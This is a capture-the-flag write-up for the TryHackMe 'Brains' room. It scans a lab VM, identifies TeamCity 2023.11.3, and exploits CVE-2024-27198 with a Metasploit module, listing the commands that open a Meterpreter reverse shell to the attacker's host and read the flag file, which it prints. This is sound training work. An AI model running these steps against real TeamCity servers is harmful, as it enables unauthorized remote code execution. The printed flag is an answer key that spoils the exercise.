# Try Hack Me/Brains

#### **Write-up / [THM / Brains](https://tryhackme.com/r/room/brains "Brains")**

##### by: alfreddgreat

##### ![brains.webp](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/brains.webp)

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/83w14zyTJYLhm3Gz-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/83w14zyTJYLhm3Gz-image.png)

<p class="callout success">Start the Virtual Machine</p>

<p class="callout success">Run an **nmap** scan to the VM machine</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/image.png)

<p class="callout info">From the nmap scan: nmap -sS -sC -sV IP\_THM\_VM\_machine</p>

<p class="callout info">Ports 22, 80, and 50000 are open</p>

<p class="callout info">VM machine is an Ubuntu Linux</p>

<p class="callout success">Connect to port 80 using a web browser</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/0qYimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/0qYimage.png)

<p class="callout info">In the result of the nmap, port 50000 is also open and observing the result it is an http server</p>

<p class="callout info">50000/tcp open ibm-db2?  
| fingerprint-strings:   
| GetRequest:   
| HTTP/1.1 401   
| TeamCity-Node-Id: MAIN\_SERVER  
| WWW-Authenticate: Basic realm="TeamCity"  
| WWW-Authenticate: Bearer realm="TeamCity"  
| Cache-Control: no-store  
| Content-Type: text/plain;charset=UTF-8  
| Date: Fri, 18 Oct 2024 01:48:03 GMT  
| Connection: close  
| Authentication required  
| login manually go to "/login.html" page  
| drda, ibm-db2, ibm-db2-das:   
| HTTP/1.1 400   
| Content-Type: text/html;charset=utf-8  
| Content-Language: en  
| Content-Length: 435  
| Date: Fri, 18 Oct 2024 01:48:03 GMT  
| Connection: close  
| &lt;!doctype html&gt;&lt;html lang="en"&gt;&lt;head&gt;&lt;title&gt;HTTP Status 400   
| Request&lt;/title&gt;&lt;style type="text/css"&gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}&lt;/style&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;HTTP Status 400   
</p>

<p class="callout info">TeamCity-Node-Id: MAIN\_SERVER</p>

<p class="callout success">Connect to port 50000 using the web browser</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/AjDimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/AjDimage.png)

<p class="callout info">The webserver has an application of Teamcity Version 2023.11.3 (build 147512)</p>

<p class="callout success">Search the vulnerability of the Teamcity version 2023.11.3 in internet.</p>

<p class="callout info">[https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/Jwhimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/Jwhimage.png)

<p class="callout info">The application Teamcity has a vulnerability of remote code execution (RCE)</p>

<p class="callout success">Check if the Teamcity vulnerability exist in the Metasploit Framework **CVE-2024-27198** and **CVE-2024-27199**</p>

<p class="callout success">**Run msfconsole**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/9KQimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/9KQimage.png)

<p class="callout info">Modules 3, 4, 5, 6, 7 and 8 can be used for the **CVE-2024-27198** but we don't know if the application in in java, windows, linux or unix.</p>

<p class="callout success">Detect the techniligy being used by the webserver using banner grabbing and we can use **WAPPALYZER**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/0Jyimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/0Jyimage.png)

<p class="callout info">In the **wappalyzer** you can observe that the Web Servers there is **Apache Tomcat** which means the application is running in **JAVA**.</p>

<p class="callout info">Therefore in the msfconsole, we will use module 4 which is **target: Java**</p>

<p class="callout success">**In the msfconsole: msf6 &gt; use 4**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/0wcimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/0wcimage.png)

<p class="callout success">Then run **options** to see what is needed in the exploit. The column **Required** with the yes are obligatory.</p>

<p class="callout success">msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; **options**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/vKkimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/vKkimage.png)

<p class="callout info">The fields **RHOSTS**, **RPORT** should be filled up. And the **LHOST** should be the IP that can be reached by the VM Machine. Since the machine is in a VPN, the **LHOST** will be the VPN IP assigned to the Kali machine.</p>

<p class="callout success">Set the following values</p>

<p class="callout success">msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; **set RHOSTS 10.10.170.24**</p>

<p class="callout success">msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; **set RPORT 50000**</p>

<p class="callout success">msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; **set LHOST 10.11.80.68**</p>

<p class="callout warning">Note: 10.10.170.24 is the THM-VM-Machine, 50000 is the Teamcity application port and 10.11.80.68 is the VPN IP of the Kali.</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/Dq0image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/Dq0image.png)

<p class="callout success">Now check if the options are set successfully. Run the options command to see the set values.</p>

<p class="callout success">msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; **options**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/sl5image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/sl5image.png)

<p class="callout success">Now we can run the exploit</p>

<p class="callout success">msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; **run -j**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/rpkimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/rpkimage.png)

<p class="callout success">If the prompt will not come out, press enter until the following comes out.</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/aEAimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/aEAimage.png)

<p class="callout success">Then we run the sessions to see the session created</p>

<p class="callout info">**Meterpreter session 1 opened (10.11.80.68:4444 -&gt; 10.10.170.24:54368) at 2024-10-17 22:38:00 -0400**</p>

<p class="callout success">**msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; sessions**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/WKSimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/WKSimage.png)

<p class="callout info">There is 1 session created and connected to the target machine (THM-VM-machine).</p>

<p class="callout success">Connect to the session with the command **sessions 1**</p>

<p class="callout success">**msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; sessions 1**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/rUQimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/rUQimage.png)

<p class="callout info">Now we are inside the machine with the meterpreter shell. We can walk through using the meterpreter commands or by running the command shell.</p>

<p class="callout success">**meterpreter &gt; shell**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/jXhimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/jXhimage.png)

<p class="callout info">Now we are in the target shell command. To have a prompt run a shell like the following</p>

<p class="callout success">**/bin/bash -i**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/Whrimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/Whrimage.png)

<p class="callout info">Now we are inside the VM machine in the directory **/opt/teamcity/TeamCity/bin**</p>

<p class="callout info">The question to answer in **tryhackme.com** is the following</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/6G9image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/6G9image.png)

<p class="callout info">The needed flag is in the /home directory where a user exists.</p>

<p class="callout success">Change directory to /home directory to see who is the user: **ubuntu@brains:/opt/teamcity/TeamCity/bin$ cd /home** and then list the content of the directory with the **ls** command,</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/pFVimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/pFVimage.png)

<p class="callout info">The user is ubuntu.</p>

<p class="callout success">Change directory to the user directory and get the content of the **flag.txt** file.</p>

<p class="callout success">**ubuntu@brains:/home$ cd ubuntu**</p>

<p class="callout success">**ubuntu@brains:/home$ ls -l**</p>

<p class="callout success">**ubuntu@brains:/home$ cat flag.txt**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/0X4image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/0X4image.png)

<p class="callout danger">FLAG: **THM{faa9bac345709b6620a6200b484c7594}**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/Rcpimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/Rcpimage.png)

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/qRbex3OWMcjQEAGv-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/qRbex3OWMcjQEAGv-image.png)

<p class="callout success">Connect to the machine 10.10.74.225 with port 8000 using a browser.</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/uUWI6iYbSob75ilJ-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/uUWI6iYbSob75ilJ-image.png)